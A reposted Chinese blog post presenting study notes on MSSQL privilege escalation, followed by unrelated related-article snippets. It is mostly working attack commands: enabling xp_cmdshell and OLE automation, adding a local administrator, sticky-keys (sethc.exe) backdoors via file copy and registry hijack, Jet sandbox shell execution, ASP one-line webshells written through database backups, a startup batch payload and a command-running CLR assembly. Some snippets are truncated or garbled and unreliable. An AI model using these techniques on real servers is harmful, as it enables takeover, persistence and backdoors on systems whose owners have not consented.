Day4——提权学习之MSSQL数据库提权学习总结

0x00 SQLServer提权基础

1、SQLServer权限
列出sql server 角色用户的权限
按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:

1.bulkadmin:这个角色可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server2008数据库中,为需要执行大容量插入到数据库的域帐号而设计.
2.dbcreator:这个角色可以创建,更改,删除和还原任何数据库.不仅适合助理DBA角色,也可能适合开发人员角色.
3.diskadmin:这个角色用于管理磁盘文件,比如镜像数据库和添加备份设备.适合助理DBA
4.processadmin:SQL Server 2008可以同时多进程处理.这个角色可以结束进程(在SQL Server 2008中称为"删除")
5.public:有两大特点:第一,初始状态时没有权限;第二,所有数据库用户都是它的成员
6.securityadmin:这个角色将管理登录名及其属性.可以授权,拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码
7.serveradmin:这个角色可以更改服务器范围的配置选项和关闭服务器
8.setupadmin:为需要管理联接服务器和控制启动的存储过程的用户而设计.
9.sysadmin:这个角色有权在SQL Server 2008 中执行任何操作.

2、常见SQL Server提权命令
(1)查看数据库版本

select @@version

(2)查看数据库版本

select @@version

(3)查看数据库系统参数

exec master..xp_msver;

(4)查看用户所属角色信息

sp_helpsrvrolemember

(5)查看当前数据库

select db_name();

(6)显示机器上的驱动器

xp_availablemedia

(7)查看当前账户权限

select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
select IS_MEMBER('db_owner') #判断是否为dba权限

(8)开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

(9)关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

(10)禁用advanced options

EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;

(11)sp_OACreate执行命令

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

(12)sp_OACreate移动文件

declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';

(13)sp_OACreate复制文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

(14)sp_OACreate删除文件

DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [开始] 菜单\程序\启动\user.bat'
EXEC @Result = sp_OADestrop @FSO_Token

0x01 SQLServer提权方法

根据当前拥有的权限分为如下两种情况来进行SQL Server的提权。

一、在SA权限下

1、存在xp_cmdshell时
使用xp_cmdshell执行命令添加用户,当出现错误可以恢复和开启xp_cmdshell
(1)测试xp_cmdshell是否可以执行

exec master..xp_cmdshell 'ver'

获取操作系统版本
(2)添加管理员用户
添加用户

exec master.dbo.xp_cmdshell 'net user quan 123456 /add'

添加至管理员组

exec master.dbo.xp_cmdshell 'net localgroup administrators quan /add'

2、使用sp_OACreate执行命令
当xp_cmdshell无法使用时,可以使用sp_OACreate执行命令
1)开启sp_OACreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;

2)使用wscript.shell直接添加系统帐户
查询分离器连接后,xp或2003server系统下使用:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'

其他操作如下:
(1)sp_OACreate替换粘贴键

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

需要同时具备sp_oacreate 和sp_oamethod 两个功能组件。
成功后3389登陆按五次shift键。成功进入服务器。一直向上点”我的电脑“右键“管理” 用户管理直接加用户。

(2)Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
or
exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:','','1';

(3)使用wscript.shell执行命令

use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'

public提权操作

 USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.webshell.cc
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

3、沙盒提权
沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。

使用场景:无法执行命令时,xp_regwrite可用(使用条件)

(1)首先检查xp_cmdshell是否开启

select count(*) from master.dbo.sysobjects where xtyoe='x' and name='xp_cmdshell'

(2)开启沙盒模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启

(3)利用jet.oledb执行系统命令添加用户

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net user quan 121345 /add")')

(4)将quan用户添加至管理员组

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net localgroup administrators quan /add")')

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

4、注册表劫持粘贴键
当只有xp_regwrite可用时可以劫持粘滞键(sethc.exe),使用xp_regwrite修改注册表

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

二、DBA权限下

在这里插入图片描述


DBA权限下通过备份文件提权步骤如下

1、通过备份到网站目录getshell
两种备份方式如下
(1)差异备份

backup database 库名 to disk = 'c:\quan.bak';//完整备份一次(保存位置可以改)
create table cmd (a image);
insert into cmd(a) values(<%execute(request("a"))%>);//创建表cmd并插入一句话木马
backup database 库名 to disk='目标位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//进行差异备份

(2)LOG备份
LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份

alter database 数据库名称 set RECOVERY FULL;
create table cmd (a image);
backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');

;backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack2.asp' --
2、通过备份 文件到启动项提权

(1)先测试xp_cmdshell是否可用

exec master..xp_cmdshell 'ver'

提示权限拒绝,说明是db_owner权限.

(2)利用xp_dirtree列目录

exec master..xp_dirtree 'c:\',1,1

(3)查看启动项

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1

(4)列数据库

SELECT DB_NAME()

(5)利用url或者sql查询器log备份bat或一句话

alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
drop table cmd--

(6)再去查看一下启动项就有一个bat了

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1

三、利用SQL Server CLR提权

Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework
的公共语言运行时 (CLR) 组件集成的功能CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。
对于 SQL Server 用户和应用程序开发人员来说CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。
要通过此种方式来执行命令,也有几个前提:

1、在SQL Server上能启用CLR并可以创建自定义存储过程
2、SQL Server当前账号具有执行命令/代码所需要的权限

创建CLR有两种方式
第一种就是通过DLL创建

CREATE ASSEMBLY AssemblyName from ‘DLLPath’

第二种就是通过文件十六进制流

CREATE ASSEMBLY AssemblyName from 文件十六进制流

1、安装Visual Studio和SQL Server数据库,此次测试使用了VS2017跟SQL2012。
2、创建一个新的SQL Server数据库项目
3、设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012;
将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#
4、右键项目,选择添加->新建项,新建SQL CLR C# 存储过程
5、填入以下测试代码:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void SqlStoredProcedure1 ()
    {
        // 在此处放置代码
        System.Diagnostics.Process process = new System.Diagnostics.Process();
        process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";
        process.Start();
    }
}

6、填入代码以后进行编译,之后到编译目录下可以看到一个dacpac后缀的文件
7、双击此文件进行解压,将解压出一个名为mode.sql的文件。
8、执行SQL文件中的以下语句

CREATE ASSEMBLY [ExecCode]
    AUTHORIZATION [dbo]
    FROM 0x4D5A[...snip...]
    WITH PERMISSION_SET = UNSAFE;

之后执行:

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]

9、开启数据库服务器配置选项clr enabled

EXEC sp_configure N'show advanced options', N'1' 
RECONFIGURE WITH OVERRIDE

--开启clr enabled 选项

EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE 

--关闭所有服务器配置选项

EXEC sp_configure N'show advanced options', N'0' 
RECONFIGURE WITH OVERRIDE
​

--如果存在权限问题,执行下面一段脚本

alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'

10、执行命令:

EXEC [dbo].[SqlStoredProcedure1];

11、删除存储过程

DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode

0x02 参考文章

《网络攻防实战研究——漏洞利用与提权》
https://www.cnblogs.com/wh4am1/p/11669539.html
https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html

原文地址:https://www.cnblogs.com/0nc3/p/12067309.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


本篇内容主要讲解“sqlalchemy的常用数据类型怎么使用”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“sqlalche...
今天小编给大家分享一下sqlServer实现分页查询的方式有哪些的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家
这篇文章主要介绍“sqlmap之osshell怎么使用”,在日常操作中,相信很多人在sqlmap之osshell怎么使用问题上存在疑惑,小编查阅了各式资料,整理出
本篇内容介绍了“SQL注入的知识点有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧...
1. mssql权限sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限db权限:文件管理,数据库操作等 users-administratorspublic权限:数据库操作 guest-users2、sql server注入执行命令查
sql执行计划如何查看?在SPL庞大的数据中我们不知道如何查看实际数据库中发生了什么事情,有必要定期进行查询优化和索引否则会影响我们后期的SQL的查询速度。那么针对这样的问题我们必须要知道SQL执行的计划,在本文中winwin7小编给大家分享下SQL执
SQL Server 是Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点应用非常广泛。不过在使用中,我们会遇到非常多的错误,面对这么庞大的数据库环境,当然会有精确的错误代码的对照季,下面小编分享的
SQL Server本地账户无法登陆出现错误提示:error:40-Could not open a connenction to SQL Server的问题很常见,对于初学者来说可能不知道如何解决,一起来看看下面的解决方案。解决步骤如下:1、这种情况需要开启 SQL Server service
微软推出的SQL2008是一款非常好用的数据库软件,它稳定、功能强大,为众多企业提供了最佳的数据库解决方案,那么我们如何在Windows中安装它呢,一些朋友对SQL Server 2008的安装过程还不是很熟悉,下面就一起来看看SQL Server 2008详细安装图解...
本页概要如果您使用的是 SQL Server 2005备份和还原Sp_detach_db 和 Sp_attach_db 存储过程关于排序规则的说明导入和导出数据(在 SQL Server 数据库之间复
DBCC CHECKIDENT 检查指定表的当前标识值,如有必要,还对标识值进行更正。 语法 DBCC CHECKIDENT ( &#39;table_name&#39; [ , { NORESEED
这里对 SQL Server 字符串函数进行分门别类地列出,便于查阅和记忆,相信大家都在其它方面有高深的编程基础,从字面上来说大家都知道这些函数的意义,就不对这些函数作过多的解释了,主要谈些经验,具体
查询及删除重复记录的方法 1、查找表(people)中多余的重复记录,重复记录是根据单个字段(peopleId)来判断select*frompeoplewherepeopleIdin(selectpe
微软发SQL Server 2008第二个CTP预览版from: http://news.csdn.net/n/20070807/107158.html8月7日消息,微软公司本周发布了SQL Serv
症状当您将数据库备份恢复到另一台服务器时,可能会遇到孤立用户的问题。SQL Server 联机丛书中的孤立用户疑难解答主题中没有讲述解决此问题的具体步骤。本文介绍了如何解决孤立用户问题。更多信息虽然术
当登录SQL Server 2005时可能碰到错误: &#39;No Process is on the Other End of the Pipe&#39;。解决方法:(1)Open up SQL
概要本文描述如何映射标准登录和集成登录来解决在运行 SQL Server 的服务器之间移动数据库时的权限问题。更多信息当您将数据库从一个运行 SQL Server 的服务器移到另一个运行 SQL Se
----------------------------------------问题:该用户与可信的SQL SERVER 连接无关联使用sa用户或自建用户使用“SQL SERVER 身份认证”连接数据
更新日期: 2007 年 5 月 20 日 使用下表可以确定各种版本的 Microsoft SQL Server 2005 支持哪些功能。有关 SQL Server 2005 Enterprise E
当从Excel导入数据到Sql Sever中,可能会出现以下问题:&#xD;&#xA;对于指定的缓冲区大小而言,源列的数据太大